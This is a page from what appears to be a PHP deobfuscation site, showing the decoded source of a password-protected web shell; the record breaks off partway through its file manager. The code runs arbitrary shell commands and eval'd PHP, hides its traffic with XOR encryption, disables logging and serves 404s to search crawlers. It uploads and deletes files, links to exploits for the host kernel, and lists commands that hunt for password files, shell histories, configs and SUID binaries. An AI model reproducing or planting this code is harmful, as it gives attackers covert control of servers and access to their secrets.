Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?PHP $auth_pass = "6d865d85813b1261953b3e79cdb04716"; $color = "#ddffff"; $default_use..

Decoded Output download

$default_key = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
	$s = 'sbvsetcookie';
	$s(md5($_SERVER['HTTP_HOST'])."key", $default_key);
}
if(empty($_POST['charset']))
	$_POST['charset'] = $default_charset;
if (!isset($_POST['ne'])) {
	if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('sbv_VERSION', '2.5');

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;


if(get_magic_quotes_gpc()) {
	function sbvstripslashes($array) {
		return is_array($array) ? array_map('sbvstripslashes', $array) : stripslashes($array);
	}
	$_POST = sbvstripslashes($_POST);
    $_COOKIE = sbvstripslashes($_COOKIE);
}


if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';


if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function sbvEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function sbvViewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function sbvPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function sbvPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . sbvPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . sbvPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . sbvPerms(@fileperms($f)) . '</font>';
}

function sbvScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function sbvWhich($p) {
	$path = sbvEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"sbv_version" => sbv_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}

function sbvsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionSelfRemove() {

	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        sbvHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	sbvFooter();
}function sbvHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . "999" ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Console'=>'Console','FilesMan'=>'FilesMan','Network'=>'Network','Php'=>'Php','Sql'=>'Sql');;
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . sbvViewSize($totalSpace) . ' <span>Free:</span> ' . sbvViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. sbvPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . "Hidden" . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}function sbvFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=ne value=''>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
} function sbvLogin() {
	die("<pre align=center><form method=post >Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        sbvsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        sbvLogin();
} if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
} if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        sbvsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        sbvsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		sbvsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".sbvEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		sbvsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	sbvHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".sbvEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	sbvFooter();
} function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    sbvEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					sbvsetcookie('act', $_POST['p1']);
					sbvsetcookie('f', serialize(@$_POST['f']));
					sbvsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    sbvHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = sbvScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';sbvFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
